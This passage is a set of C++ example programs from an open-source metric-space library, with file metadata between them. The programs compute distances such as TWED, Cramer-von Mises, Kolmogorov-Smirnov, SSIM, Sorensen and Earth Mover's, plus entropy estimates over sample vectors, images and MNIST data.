dataset_names.push_back("Leaves"); dataset_names.push_back("Lipo"); dataset_names.push_back("Lubricant"); //dataset_names.push_back("Nitren"); dataset_names.push_back("Nitrite"); dataset_names.push_back("O.xylene"); dataset_names.push_back("Oilshale"); dataset_names.push_back("PCB"); dataset_names.push_back("Pinene"); //dataset_names.push_back("Pinene2"); dataset_names.push_back("Rumford"); dataset_names.push_back("Sacch2"); dataset_names.push_back("Saccharin"); for (size_t i = 0; i < dataset_names.size(); i++) { std::vector<Record> r_dataset = readCsvData("assets/" + dataset_names[i] + ".csv"); metric::Kohonen<double, Record, Graph, Metric> r_distance(r_dataset, grid_w, grid_h); result = r_distance.distortion_estimate(r_dataset); std::cout << "distortion estimate result for " << dataset_names[i] << ": " << result << std::endl; std::cout << "" << std::endl; } return 0; }
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1,531,397
time_warp_elastic_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/time_warp_elastic_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" int main() { /******************** examples for Time Warp Elastic Distance (for curves, series or time-series) **************************/ // example for curve std::cout << "TWED example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> v0 = { 0, 1, 1, 1, 1, 1, 2, 3 }; std::vector<double> v1 = { 1, 1, 1, 1, 1, 2, 3, 4 }; std::vector<double> v2 = { 2, 2, 2, 2, 2, 2, 2, 2 }; metric::TWED<double> distance(0, 1); auto t1 = std::chrono::steady_clock::now(); auto result1 = distance(v0, v1); auto t2 = std::chrono::steady_clock::now(); std::cout << "result for a close curves (series): " << result1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; auto result2 = distance(v0, v2); auto t3 = std::chrono::steady_clock::now(); std::cout << "result for a far curves (series): " << result2 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t3 - t2).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,398
cramervon_mises_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/cramervon_mises_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" #include "assets/test_data.cpp" int main() { /******************** examples for Cramer-von Nises Distance **************************/ // example for picture std::cout << "Cramer-von Nises distance example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> samples_1 = { 0, 1, 2, 3, 3, 2, 1, 0, 2, 2 }; std::vector<double> samples_2 = { 0, 0, 2, 3, 3, 2, 1, 0, 2, 2 }; metric::CramervonMises<std::vector<double>, double> distance_1; auto t1 = std::chrono::steady_clock::now(); auto result = distance_1(samples_1, samples_2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // metric::CramervonMises<std::vector<double>, double> distance_2(0.0001); t1 = std::chrono::steady_clock::now(); result = distance_2(samples_1, samples_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // metric::CramervonMises<std::vector<double>, double> distance_3(0.1); t1 = std::chrono::steady_clock::now(); result = distance_3(samples_1, samples_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; return 0; }
2,142
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,399
kolmogorov_smirnov_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/kolmogorov_smirnov_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" #include "assets/test_data.cpp" int main() { /******************** examples for Kolmogorov-Smirnov Distance **************************/ // example for picture std::cout << "Kolmogorov-Smirnov distance example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> samples_1 = { 0, 1, 2, 3, 3, 2, 1, 0, 2, 2 }; std::vector<double> samples_2 = { 0, 0, 2, 3, 3, 2, 1, 0, 2, 2 }; //std::vector<double> samples_1 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; //std::vector<double> samples_2 = { 1, 2, 3, 4, 5 }; // metric::KolmogorovSmirnov<std::vector<double>, double> distance; auto t1 = std::chrono::steady_clock::now(); auto result1 = distance(samples_1, samples_2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; return 0; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
false
false
false
false
1,531,400
structural_similartiy_example.cpp
metric-space-ai_metric/examples/distance_examples/structural_similartiy_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "assets/test_data.cpp" #include "metric/distance.hpp" int main() { /******************** examples for Structural Similarity (for images) **************************/ // example for picture typedef int edm_Type; std::cout << "SSIM example have started" << std::endl; std::cout << "" << std::endl; metric::SSIM<double, std::vector<uint8_t>> distance; // assumes that i1 and i2 are serialized vectors of the image matrices. auto t1 = std::chrono::steady_clock::now(); auto result1 = distance(img1, img2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result1: " << result1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; std::cout << "swap records and calculate again" << std::endl; std::cout << "" << std::endl; auto result2 = distance(img2, img1); auto t3 = std::chrono::steady_clock::now(); std::cout << "result2: " << result2 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t3 - t2).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; return 0; }
1,451
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,401
entropy_convergence_check.cpp
metric-space-ai_metric/examples/distance_examples/entropy_convergence_check.cpp
#include <vector> #include <random> #include <iostream> #include "metric/correlation/entropy.hpp" template <typename T> void print_entropies(size_t step, size_t dim, size_t k) { std::cout << "\n----------------"; std::cout << "step: " << step << "\n"; std::cout << "dimensions: " << dim << "\n"; std::cout << "k: " << k << "\n"; std::cout << "p: " << k*2 << ", " << k*3 << ", " << k*4 << ", " << k*10 << "\n"; std::mt19937 gen(1); std::uniform_real_distribution<T> dis(0.0, 1.0); // using Cnt = std::deque<T>; using Cnt = std::vector<T>; std::vector<Cnt> v; //std::vector<Cnt> v2; std::cout << "\nlength | entropy | kpN entropy (k*2) | kpN entropy (k*3) | kpN entropy (k*4) | kpN entropy (k*10) \n"; for (size_t i = 0; i<10; ++i) { for (size_t j = 0; j<step; ++j) { Cnt row;//, row2; for (size_t j_d = 0; j_d<dim; ++j_d) { row.push_back(dis(gen)); //row2.push_back(dis(gen)); } v.push_back(row); //v2.push_back(row2); } auto e_kpn_cheb2 = metric::Entropy<void, metric::Euclidean<T>>(metric::Euclidean<T>(), k, k+2); auto e_kpn_cheb3 = metric::Entropy<void, metric::Euclidean<T>>(metric::Euclidean<T>(), k, k+3); auto e_kpn_cheb4 = metric::Entropy<void, metric::Euclidean<T>>(metric::Euclidean<T>(), k, k+4); auto e_kpn_cheb10 = metric::Entropy<void, metric::Euclidean<T>>(metric::Euclidean<T>(), k, k+10); auto e_eucl = metric::EntropySimple<void, metric::Chebyshev<T>>(metric::Chebyshev<T>(), k); std::cout << v.size() << " | " << e_eucl(v) << " | " << e_kpn_cheb2(v) << " | " << e_kpn_cheb3(v) << " | " << e_kpn_cheb4(v) << " | " << e_kpn_cheb10(v) << " | " // << metric::variationOfInformation(v, v2) // << metric::variationOfInformation(v, v) << "\n"; } } //* int main() { size_t step = 1000; std::vector<size_t> dim_values = {1, 2, 5, 25}; // {1, 2, 3, 4, 5, 7, 10, 25}; std::vector<size_t> k_values = {3, 30}; // {3, 5, 10, 15, 20, 30}; //, 50}; for (size_t i_k = 0; i_k < k_values.size(); ++i_k) for (size_t i_dim = 0; i_dim < dim_values.size(); ++i_dim) print_entropies<long double>(step, dim_values[i_dim], k_values[i_k]); return 0; } // */
2,475
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,402
sorensen_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/sorensen_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" int main() { /******************** examples for k-related Distances **************************/ std::cout << "Sorensen Distance example have started" << std::endl; std::cout << "" << std::endl; typedef double V_type; V_type vt0 = 0; V_type vt1 = 1; V_type vt2 = 2; V_type vt3 = 3; // blaze vectors blaze::DynamicVector<V_type> bdv1 {vt0, vt1, vt2, vt0}; blaze::DynamicVector<V_type> bdv2 {vt0, vt1, vt3}; auto t1 = std::chrono::steady_clock::now(); auto result = metric::Sorensen<V_type>()(bdv1, bdv2); auto t2 = std::chrono::steady_clock::now(); std::cout << "Sorensen Distance result from function on DynamicVector: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // blaze::StaticVector<V_type, 4UL> bsv1 {vt0, vt1, vt2, vt0}; blaze::StaticVector<V_type, 4UL> bsv2 {vt0, vt1, vt3, vt0}; t1 = std::chrono::steady_clock::now(); result = metric::Sorensen<V_type>()(bsv1, bsv2); t2 = std::chrono::steady_clock::now(); std::cout << "Sorensen Distance result from function on StativVector: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // blaze::HybridVector<V_type, 4UL> bhv1 {vt0, vt1, vt2, vt0}; blaze::HybridVector<V_type, 4UL> bhv2 {vt0, vt1, vt3, vt0}; t1 = std::chrono::steady_clock::now(); result = metric::Sorensen<V_type>()(bhv1, bhv2); t2 = std::chrono::steady_clock::now(); std::cout << "Sorensen Distance result from function on HybridVector: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // blaze::CompressedVector<V_type> bcv1 {vt0, vt1, vt2, vt0}; blaze::CompressedVector<V_type> bcv2 {vt0, vt1, vt3}; t1 = std::chrono::steady_clock::now(); result = metric::Sorensen<V_type>()(bcv1, bcv2); t2 = std::chrono::steady_clock::now(); std::cout << "Sorensen Distance result from function on CompressedVector: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; // STL std::vector<V_type> obj1 = {vt0, vt1, vt2, vt0}; std::vector<V_type> obj2 = {vt0, vt1, vt3}; t1 = std::chrono::steady_clock::now(); result = metric::Sorensen<V_type>()(obj1, obj2); t2 = std::chrono::steady_clock::now(); std::cout << "Sorensen Distance result from function on STL Vector: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000 << " ms)" << std::endl; std::cout << "" << std::endl; return 0; }
3,219
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,403
entropy_example.cpp
metric-space-ai_metric/examples/distance_examples/entropy_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <random> //#include "metric/distance.hpp" #include "metric/correlation/entropy.hpp" #include "metric/distance/k-structured/Edit.hpp" int main() { std::cout << "Entropy example has started" << std::endl; std::cout << std::endl; { // from README.md std::vector<std::vector<double>> v = { {5,5}, {2,2}, {3,3}, {5,1} }; std::vector<std::vector<double>> v1 = {{5,5}, {2,2}, {3,3}, {5,5}}; std::vector<std::vector<double>> v2 = {{5,5}, {2,2}, {3,3}, {1,1}}; { auto estimator = metric::Entropy<std::vector<double>>(); auto result = estimator(v); std::cout << "default result: " << result << std::endl; } { auto estimator = metric::Entropy<void, metric::Manhatten<double>>(); auto result = estimator(v); std::cout << "Manhatten result: " << result << std::endl; } } std::cout << std::endl << "=====" << std::endl; // Entropy std::cout << "Entropies:" << std::endl; std::vector<std::vector<double>> v = { {5,5}, {2,2}, {3,3}, {5,1} }; { auto e_f = metric::EntropySimple<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 3); auto e = e_f(v); std::cout << "using Chebyshev: " << e << std::endl; } auto e_f3 = metric::EntropySimple<void, metric::P_norm<double>>(metric::P_norm<double>(3), 3); auto e_f2 = metric::EntropySimple<void, metric::P_norm<double>>(metric::P_norm<double>(2), 3); auto e_f1 = metric::EntropySimple<void, metric::P_norm<double>>(metric::P_norm<double>(1), 3); { auto e = e_f3(v); std::cout << "using General Minkowsky, 3: " << e << std::endl; } { auto e = e_f2(v); std::cout << "using General Minkowsky, 2: " << e << std::endl; } { auto e_f = metric::EntropySimple<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 3); auto e = e_f(v); std::cout << "using Euclidean: " << e << std::endl; } { auto e = e_f1(v); std::cout << "using General Minkowsky, 1: " << e << std::endl; } { auto e_f = metric::EntropySimple<void, metric::Manhatten<double>>(metric::Manhatten<double>(), 3); auto e = e_f(v); std::cout << "using Manhatten: " << e << std::endl; } { auto e_f = metric::EntropySimple<std::vector<double>>(); auto e = e_f(v); std::cout << "using Default: " << e << std::endl; } { auto ekpn = metric::Entropy<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 2, 3); auto e = ekpn(v); std::cout << "entropy_kpN, using Chebyshev: " << e << std::endl; } std::cout << std::endl; std::vector<std::string> input = { "AAA", "HJGJHFG", "BBB", "AAAA", "long long long long long long string" }; auto ee_f = metric::EntropySimple<void, metric::Edit<void>>(metric::Edit<void>(), 3); // <void> or <char> or anything in Edit does not matter here since Container type is deduced auto ee = ee_f(input); std::cout << "using Edit with strings: " << ee << std::endl << std::endl; std::cout << "\n\nTesting entropy function on uniformly distributed r. v.s:\n"; //std::random_device rd; //std::mt19937 gen(rd()); std::mt19937 gen(1); std::uniform_real_distribution<double> dis(0.0, 1.0); std::vector<std::vector<double>> urv; std::vector<std::vector<double>> urv2; std::vector<std::vector<double>> urv3; std::vector<std::deque<double>> urv4; for (size_t i = 0; i<1000; ++i) { //urv.push_back({dis(gen), dis(gen), dis(gen), dis(gen), dis(gen), dis(gen), dis(gen)}); //urv.push_back({dis(gen), dis(gen), dis(gen)}); urv.push_back({dis(gen), dis(gen)}); urv2.push_back({dis(gen), dis(gen)}); urv4.push_back({dis(gen), dis(gen)}); //urv.push_back({dis(gen)}); } for (size_t i = 0; i<250; ++i) { urv3.push_back({dis(gen), dis(gen)}); } auto e_f_cheb = metric::EntropySimple<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 3); std::cout << "using Chebyshev: " << e_f_cheb(urv) << ", " << e_f_cheb(urv2) << std::endl; auto e_f_eucl = metric::EntropySimple<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 3); auto e = e_f_eucl(urv); std::cout << "using Euclidean: " << e << std::endl; auto ekpn_cheb = metric::Entropy<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 3, 10); auto ekpn_eucl = metric::Entropy<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 3, 10); std::cout << "entropy_kpN, using Chebyshev: " << ekpn_cheb(urv) << "\n"; std::cout << "entropy_kpN, using Euclidean: " << ekpn_eucl(urv) << std::endl; std::cout << "conv test " << metric::entropy_details::conv_diff_entropy_inv(metric::entropy_details::conv_diff_entropy(-0.118)) << std::endl; // testing entropy::estimate std::cout << "\n\nstart entropy_avg test\n"; auto e_avg = e_f_eucl.estimate(urv); std::cout << "\nentropy_avg result: " << e_avg << "\n\n"; auto e_plane = e_f_eucl(urv3); std::cout << "default entropy for vector of sample size 250: " << e_plane << "\n\n"; // testing types { auto e_f = metric::EntropySimple<void, metric::Chebyshev<double>>(metric::Chebyshev<double>(), 3); std::cout << "\n\ntesting deque type\n\nChebyshev, full: " << e_f(urv4) << std::endl; std::cout << "Chebyshev estimation:\n" << e_f.estimate(urv4) << std::endl; } // measuring the entropy estimation bias std::cout << "\n\nmeasuring the entropy estimation bias on random vector\n\n"; //std::vector<std::deque<double>> urv6 = {{0.1}, {0.3}, {0.5}, {0.7}, {0.9}, {0.51}, {0.5}}; using ElType = float; // long double; std::vector<std::deque<ElType>> urv6 = {{0.1, 0.5, 0.7}, {0.3, 0.7, 0.9}, {0.5, 0.9, 0.1}, {0.7, 0.1, 0.3}, {0.9, 0.3, 0.5}, {0.51, 0.91, 0.11}, {0.5, 0.9, 0.1}}; //std::cout << "\nshort test vector result: " << urv6.size() << " | " << e_f_eucl(urv6) << "\n\n"; std::cout << "\nshort test vector result: " << urv6.size() << " | " << e_f_cheb(urv6) << "\n\n"; auto e_f_mink1 = metric::EntropySimple<void, metric::P_norm<ElType>>(metric::P_norm<ElType>(1), 3); auto e_f_mink2 = metric::EntropySimple<void, metric::P_norm<ElType>>(metric::P_norm<ElType>(2), 3); auto e_f_manh = metric::EntropySimple<void, metric::Manhatten<ElType>>(metric::Manhatten<ElType>(), 3); auto e_kpn_cheb = metric::Entropy<void, metric::Chebyshev<ElType>>(metric::Chebyshev<ElType>(), 3, 5); std::cout << "short test vector result, manh: " << urv6.size() << " | " << e_f_manh(urv6) << "\n"; std::cout << "short test vector result, mink1: " << urv6.size() << " | " << e_f_mink1(urv6) << "\n"; std::cout << "short test vector result, eucl: " << urv6.size() << " | " << e_f_eucl(urv6) << "\n"; std::cout << "short test vector result, mink2: " << urv6.size() << " | " << e_f_mink2(urv6) << "\n"; std::cout << "short test vector result, cheb: " << urv6.size() << " | " << e_f_cheb(urv6) << "\n"; std::cout << "short test vector result, kpN: " << urv6.size() << " | " << e_kpn_cheb(urv6) << "\n"; size_t step = 1000; std::vector<std::deque<double>> urv5; auto e_f_eucl500 = metric::EntropySimple<void, metric::Euclidean<double>>(metric::Euclidean<double>(), 500); std::cout << "\nlength | entropy | kpN entropy\n"; for (size_t i = 0; i<25; ++i) { for (size_t i = 0; i<step; ++i) { //urv5.push_back({dis(gen), dis(gen)}); //urv5.push_back({dis(gen)}); //urv5.push_back({dis(gen), dis(gen), dis(gen), dis(gen)}); urv5.push_back({dis(gen), dis(gen), dis(gen)}); } //std::cout << urv5.size() << " | " << e_f_eucl(urv5) << "\n"; //std::cout << urv5.size() << " | " << e_f_cheb(urv5) << "\n"; //std::cout << urv5.size() << " | " << e_f_manh(urv5) << "\n"; //std::cout << urv5.size() << " | " << e_f_mink(urv5, 3, 2.0, metric::P_norm<double>(2)) << "\n"; std::cout << urv5.size() << " | " << e_f_eucl500(urv5) << " | " << ekpn_cheb(urv5) << "\n"; } return 0; } //*/
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,404
random_emd_example.cpp
metric-space-ai_metric/examples/distance_examples/random_emd_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "metric/distance.hpp" #include "assets/test_data.cpp" int main() { /******************** examples for Earth Mover’s Distance **************************/ // example for picture std::cout << "Earth Mover's distance example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> samples_1 = { 0, 1, 2, 3, 3, 2, 1, 0, 2, 2 }; std::vector<double> samples_2 = { 0, 0, 2, 3, 3, 2, 1, 0, 2, 2 }; metric::RandomEMD<std::vector<double>, double> distance_1; // // typedef int emd_Type; // auto cost_mat = metric::EMD_details::ground_distance_matrix_of_2dgrid<emd_Type>(3, 3); // auto maxCost = metric::EMD_details::max_in_distance_matrix(cost_mat); // metric::EMD<emd_Type> distance_orig(cost_mat, maxCost); //print_matrix(cost_mat); auto t1 = std::chrono::steady_clock::now(); auto result = distance_1(samples_1, samples_2); auto t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // metric::RandomEMD<std::vector<double>, double> distance_2(0.0001); t1 = std::chrono::steady_clock::now(); result = distance_2(samples_1, samples_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // metric::RandomEMD<std::vector<double>, double> distance_3(0.1); t1 = std::chrono::steady_clock::now(); result = distance_3(samples_1, samples_2); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; return 0; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,405
earth_mover_distance_2_example.cpp
metric-space-ai_metric/examples/distance_examples/earth_mover_distance_2_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <chrono> #include "assets/test_data.cpp" #include "metric/distance.hpp" #include "metric/space.hpp" //#include <boost/gil/gil_all.hpp> //#include <boost/gil/extension/io/jpeg_io.hpp> #include <boost/gil.hpp> #include <boost/gil/extension/io/jpeg.hpp> #include <boost/gil/extension/numeric/sampler.hpp> #include <boost/gil/extension/numeric/resample.hpp> template <typename T> void saveToCsv(std::string filename, const std::vector<std::vector<T>> &mat, const std::vector<std::string> &features) { std::ofstream outputFile; // create and open the .csv file outputFile.open(filename); // write the file headers outputFile << ","; for (auto i = 0; i < features.size(); ++i) { outputFile << features[i]; outputFile << ","; } //outputFile << "date"; outputFile << std::endl; // last item in the mat is date for (auto i = 0; i < mat.size(); ++i) { outputFile << features[i] << ","; //outputFile << dates[i] << ","; for (auto j = 0; j < mat[i].size(); j++) { outputFile << mat[i][j] << ","; } outputFile << std::endl; } // close the output file outputFile.close(); } int main() { /******************** examples for Earth Mover Distance **************************/ // example for picture std::cout << "EMD example have started" << std::endl; std::cout << "" << std::endl; int num_images = 20; typedef int edm_Type; std::vector<std::string> names(num_images); std::vector < boost::gil::rgb8_image_t > jpegs(num_images); std::vector < std::vector < edm_Type > > grayJpegs(num_images); for (size_t i = 0; i < num_images; ++i) { names[i] = "sample_" + std::to_string(i); boost::gil::read_image("assets/sample" + std::to_string(i) + ".jpg_resized.jpg", jpegs[i], boost::gil::jpeg_tag()); //boost::gil::jpeg_read_image("assets/sample" + std::to_string(i) + ".jpg_resized.jpg", jpegs[i]); //boost::gil::rgb8_image_t squareScaled(50, 50); //boost::gil::resize_view(const_view(jpegs[i]), view(squareScaled), boost::gil::bilinear_sampler()); //auto gray = boost::gil::color_converted_view<boost::gil::gray8_pixel_t>(const_view(jpegs[i])); auto gray = boost::gil::color_converted_view<boost::gil::gray8_pixel_t>(const_view(jpegs[i])); //for (size_t j = 0; j < 1000; ++j) for (size_t j = 0; j < gray.size(); ++j) { grayJpegs[i].push_back(gray[j]); } } std::cout << "Read complete, got an image " << jpegs[0].width() << " by " << jpegs[0].height() << " pixels\n"; std::cout << "And grayscaled and size scaled image ready " << grayJpegs[0].size() << " items\n"; boost::gil::rgb8_pixel_t px = *const_view(jpegs[0]).at(5, 10); std::cout << "The pixel at 5,10 is " << (int)px[0] << ',' << (int)px[1] << ',' << (int)px[2] << '\n'; //size_t im1_R = img1.size() / 6; //size_t im1_C = img1[0].size() / 6; size_t im1_R = jpegs[0].width(); size_t im1_C = jpegs[0].height(); // serialize_mat2vec //std::vector<edm_Type> i1; //std::vector<edm_Type> i2; std::cout << "iterate through grayscale" << std::endl; for (size_t i = 0; i < im1_R * im1_C; ++i) { //i1.push_back(gray_img1[i]); //i2.push_back(gray_img2[i]); } //typedef int edm_Type; //size_t im1_R = img1.size() / 6; //size_t im1_C = img1[0].size() / 6; //std::cout << "Read complete, got an image " << img1.size() // << " by " << img1[0].size() << " pixels\n"; //// serialize_mat2vec //std::vector<edm_Type> i1; //std::vector<edm_Type> i2; //for (size_t i = 0; i < im1_R; ++i) //{ // for (size_t j = 0; j < im1_C; ++j) // { // i1.push_back(img1[i][j]); // i2.push_back(img2[i][j]); // } //} std::vector < std::vector < edm_Type > > distance_matrix(num_images, std::vector < edm_Type >(num_images)); std::cout << "create distance matrix" << std::endl; auto cost_mat = metric::EMD_details::ground_distance_matrix_of_2dgrid<edm_Type>(im1_C, im1_R); std::cout << "create max distance matrix" << std::endl; auto maxCost = metric::EMD_details::max_in_distance_matrix(cost_mat); std::cout << "we have started" << std::endl; std::cout << "" << std::endl; metric::EMD<edm_Type> distance(cost_mat, maxCost); for (size_t i = 0; i < num_images; ++i) { for (size_t j = i + 1; j < num_images; ++j) { // assumes that i1 and i2 are serialized vectors of the image matrices, and cost_mat contains a distance matrix that takes into account the original pixel locations. auto t1 = std::chrono::steady_clock::now(); auto result1 = distance(grayJpegs[i], grayJpegs[j]); auto t2 = std::chrono::steady_clock::now(); std::cout << "result for " << i << " <-> " << j << " is:" << result1 << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; distance_matrix[i][j] = result1; distance_matrix[j][i] = result1; } } saveToCsv("distances.csv", distance_matrix, names); /*** initialize the tree ***/ std::cout << "tree for 5 pictures been creating" << std::endl; std::vector<std::vector<edm_Type>> grayJpegs5(grayJpegs.begin(), grayJpegs.begin() + 5); metric::Tree<std::vector < edm_Type >, metric::Euclidean<double>> cTree5(grayJpegs5); std::cout << "tree for 5 pictures has created" << std::endl; cTree5.print(); std::vector<std::vector<edm_Type>> grayJpegs10(grayJpegs.begin(), grayJpegs.begin() + 10); metric::Tree<std::vector < edm_Type >, metric::Euclidean<double>> cTree10(grayJpegs10); std::cout << "tree for 10 pictures has created" << std::endl; cTree10.print(); metric::Tree<std::vector < edm_Type >, metric::Euclidean<double>> cTree20(grayJpegs); std::cout << "tree for 20 pictures has created" << std::endl; cTree20.print(); return 0; }
5,941
C++
.cpp
148
37.689189
201
0.638087
metric-space-ai/metric
34
14
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,406
entropy_mnist_example.cpp
metric-space-ai_metric/examples/distance_examples/entropy_mnist_example.cpp
#include "metric/utils/datasets.hpp" #include "metric/correlation/entropy.hpp" #include "metric/mapping/PCFA.hpp" #include <iostream> void print_img(std::vector<double> img, size_t h, size_t w) { std::string s[4] = {" ", ".", "*", "&"}; std::cout << "\n"; for (size_t y = 0; y<h; ++y) { for (size_t x = 0; x<w; ++x) { //std::cout << (int)(img[y*w + x]*5) << " "; int d = img[y*w + x]*3; if (d < 0) d = 0; if (d > 3) d = 3; std::cout << s[d] << " "; } std::cout << "|\n"; } } template <typename T> std::vector<std::vector<T>> combine(const std::vector<std::vector<T>>& X, const std::vector<std::vector<T>>& Y) { std::size_t N = X.size(); std::size_t dx = X[0].size(); std::size_t dy = Y[0].size(); std::vector<std::vector<T>> XY(N); for (std::size_t i = 0; i < N; i++) { XY[i].resize(dx + dy); std::size_t k = 0; for (std::size_t j = 0; j < dx; j++, k++) { XY[i][k] = X[i][j]; } for (std::size_t j = 0; j < dy; j++, k++) { XY[i][k] = Y[i][j]; } } return XY; } int main() { Datasets datasets; /* shape: [batches, rows, cols, channels] */ auto [labels, shape, features] = datasets.getMnist("data.cereal"); std::cout << labels.size() << "\n"; std::cout << shape.size() << "\n"; std::cout << features.size() << "\n"; std::vector<std::vector<double>> images; int margin = 4; // set margins here size_t cnt = 0; auto img = std::vector<double>(); for (auto el : features) { if (cnt >= shape[1]*shape[2]) { cnt = 0; images.push_back(img); img = std::vector<double>(); } auto y = cnt % shape[2]; if ( cnt>=shape[1]*margin && cnt<shape[2]*(shape[1]-margin) && y>=margin && y<(shape[2]-margin) ) // crop img.push_back((double)(el/255.0)); // TODO try other type ++cnt; } images.push_back(img); // last size_t ds_size = 50; //5400; // set dataset size here //std::vector<std::vector<int>> lbls (10); // for debug std::vector<std::vector<std::vector<double>>> imgs_by_digit (10); size_t filled = 0; for (size_t i = 0; i<images.size(); ++i) { if (imgs_by_digit[labels[i]].size() < 